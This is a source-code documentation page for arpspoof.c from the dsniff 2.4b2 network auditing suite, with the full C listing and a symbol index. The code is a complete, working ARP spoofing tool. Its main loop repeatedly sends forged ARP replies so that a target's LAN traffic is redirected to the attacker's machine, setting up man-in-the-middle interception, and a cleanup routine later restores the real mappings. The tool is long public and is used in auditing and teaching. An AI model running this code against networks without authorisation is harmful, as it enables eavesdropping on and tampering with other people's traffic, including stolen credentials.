dsniff  2.4b2
About: A collection of tools for network auditing
  Fossies Dox: dsniff-2.4b2.tar.gz  ("inofficial" and yet experimental doxygen-generated source code documentation)  

arpspoof.c
Go to the documentation of this file.
1 /*
2  * arpspoof.c
3  *
4  * Redirect packets from a target host (or from all hosts) intended for
5  * another host on the LAN to ourselves.
6  *
7  * Copyright (c) 1999 Dug Song <dugsong@monkey.org>
8  *
9  * $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
10  * Migrated to Libnet 1.2.x by Dotcom
11  */
12 
13 #include "config.h"
14 
15 #include <sys/types.h>
16 #include <sys/param.h>
17 #include <netinet/in.h>
18 
19 #include <stdio.h>
20 #include <string.h>
21 #include <signal.h>
22 #include <err.h>
23 #include <libnet.h>
24 #include <pcap.h>
25 
26 #include "arp.h"
27 #include "version.h"
28 
29 extern char *ether_ntoa(struct ether_addr *);
30 static struct ether_addr spoof_mac, target_mac;
32 static char *intf;
33 //new libnet stuff
34 libnet_t *l;
35 char errbuf[LIBNET_ERRBUF_SIZE];
36 libnet_ptag_t arp_id, eth_id;
37 
38 static void
39 usage(void)
40 {
41  fprintf(stderr, "Version: " VERSION "\n"
42  "Usage: arpspoof [-i interface] [-t target] host\n");
43  exit(1);
44 }
45 
46 static int
47 arp_send(int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
48 {
49  char ebuf[128];
50  u_char pkt[60];
51  libnet_ptag_t id;
52  int pkt_len = 60;
53  if (sha == NULL &&
54  (sha = (u_char *)libnet_get_hwaddr(l)) == NULL) {
55  return (-1);
56  }
57  if (spa == 0) {
58  if ((spa = libnet_get_ipaddr4(l)) == 0)
59  return (-1);
60  spa = htonl(spa); /* XXX */
61  }
62  if (tha == NULL)
63  tha = "\xff\xff\xff\xff\xff\xff";
64 
65  arp_id = libnet_build_arp(ARPHRD_ETHER, ETHERTYPE_IP, ETHER_ADDR_LEN, 4,
66  op, sha, (u_char *)&spa, tha, (u_char *)&tpa,
67  NULL, 0, l,arp_id);
68 
69 
70  eth_id =libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL,0, l,eth_id);
71 
72  fprintf(stderr, "%s ",
73  ether_ntoa((struct ether_addr *)sha));
74 
75  if (op == ARPOP_REQUEST) {
76  fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
77  ether_ntoa((struct ether_addr *)tha),
78  libnet_addr2name4(tpa, 0),
79  libnet_addr2name4(spa, 0));
80  }
81  else {
82  fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
83  ether_ntoa((struct ether_addr *)tha),
84  libnet_addr2name4(spa, 0));
85  fprintf(stderr, "%s\n",
86  ether_ntoa((struct ether_addr *)sha));
87  }
88  return (libnet_write(l));
89 }
90 
91 #ifdef __linux__
92 static int
93 arp_force(in_addr_t dst)
94 {
95  struct sockaddr_in sin;
96  int i, fd;
97 
98  if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
99  return (0);
100 
101  memset(&sin, 0, sizeof(sin));
102  sin.sin_family = AF_INET;
103  sin.sin_addr.s_addr = dst;
104  sin.sin_port = htons(67);
105 
106  i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));
107 
108  close(fd);
109 
110  return (i == 0);
111 }
112 #endif
113 
114 static int
115 arp_find(in_addr_t ip, struct ether_addr *mac)
116 {
117  int i = 0;
118 
119  do {
120  if (arp_cache_lookup(ip, mac) == 0)
121  return (1);
122 #ifdef __linux__
123  /* XXX - force the kernel to arp. feh. */
124  arp_force(ip);
125 #else
126  arp_send(ARPOP_REQUEST, NULL, 0, NULL, ip);
127 #endif
128  sleep(1);
129  }
130  while (i++ < 3);
131 
132  return (0);
133 }
134 
135 static void
136 cleanup(int sig)
137 {
138  int i;
139 
140  if (arp_find(spoof_ip, &spoof_mac)) {
141  for (i = 0; i < 3; i++) {
142  /* XXX - on BSD, requires ETHERSPOOF kernel. */
143  arp_send(ARPOP_REPLY,
144  (u_char *)&spoof_mac, spoof_ip,
145  (target_ip ? (u_char *)&target_mac : NULL),
146  target_ip);
147  sleep(1);
148  }
149  }
150  exit(0);
151 }
152 
153 int
154 main(int argc, char *argv[])
155 {
156  extern char *optarg;
157  extern int optind;
158  char ebuf[PCAP_ERRBUF_SIZE];
159  int c;
160 
161  intf = NULL;
162  spoof_ip = target_ip = 0;
163 
164  l = libnet_init(
165  LIBNET_RAW4, /* or LIBNET_LINK or LIBNET_RAW6 */
166  NULL, /* or device if you using LIBNET_LINK */
167  errbuf);
168 
169  while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
170  switch (c) {
171  case 'i':
172  intf = optarg;
173  break;
174  case 't':
175  if ((target_ip = libnet_name2addr4(l,optarg, 1)) == -1)
176  usage();
177  break;
178  default:
179  usage();
180  }
181  }
182  argc -= optind;
183  argv += optind;
184 
185  if (argc != 1)
186  usage();
187 
188  if ((spoof_ip = libnet_name2addr4(l,argv[0], 1)) == -1)
189  usage();
190 
191  //looks like we don't need this stuff any more...
192  /*
193  if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
194  errx(1, "%s", ebuf);
195 
196  if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
197  errx(1, "%s", ebuf);
198  */
199  if (target_ip != 0 && !arp_find(target_ip, &target_mac))
200  errx(1, "couldn't arp for host %s",
201  libnet_addr2name4(target_ip, 0));
202 
203  signal(SIGHUP, cleanup);
204  signal(SIGINT, cleanup);
205  signal(SIGTERM, cleanup);
206 
207  for (;;) {
208  arp_send(ARPOP_REPLY, NULL, spoof_ip,
209  (target_ip ? (u_char *)&target_mac : NULL),
210  target_ip);
211  sleep(2);
212  }
213  /* NOTREACHED */
214 
215  exit(0);
216 }
cleanup
static void cleanup(int sig)
Definition: arpspoof.c:136
spoof_ip
static u_int32_t spoof_ip
Definition: arpspoof.c:31
arp_find
static int arp_find(u_int32_t ip, struct ether_addr *mac)
Definition: arpspoof.c:115
usage
static void usage(void)
Definition: arpspoof.c:39
ETHER_ADDR_LEN
#define ETHER_ADDR_LEN
Definition: arp.c:90
arp_cache_lookup
int arp_cache_lookup(u_int32_t ip, struct ether_addr *ether)
Definition: arp.c:94
version.h
main
int main(int argc, char *argv[])
Definition: arpspoof.c:154
l
libnet_t * l
Definition: arpspoof.c:34
intf
static char * intf
Definition: arpspoof.c:32
pkt
static u_char pkt[4+8+262144]
Definition: ssh.c:87
errbuf
char errbuf[LIBNET_ERRBUF_SIZE]
Definition: arpspoof.c:35
arp_send
static int arp_send(int op, u_char *sha, u_int32_t spa, u_char *tha, u_int32_t tpa)
Definition: arpspoof.c:47
target_ip
static u_int32_t target_ip
Definition: arpspoof.c:31
tha
Definition: tcp_raw.c:21
eth_id
libnet_ptag_t eth_id
Definition: arpspoof.c:36
target_mac
static struct ether_addr spoof_mac target_mac
Definition: arpspoof.c:30
err.h
VERSION
#define VERSION
Definition: version.h:1
errx
void errx(int eval, const char *fmt,...)
Definition: err.c:76
arp_id
libnet_ptag_t arp_id
Definition: arpspoof.c:36
in_addr_t
#define in_addr_t
Definition: config.h:32
config.h
arp.h
ether_ntoa
char * ether_ntoa(struct ether_addr *)
Definition: ethers.c:49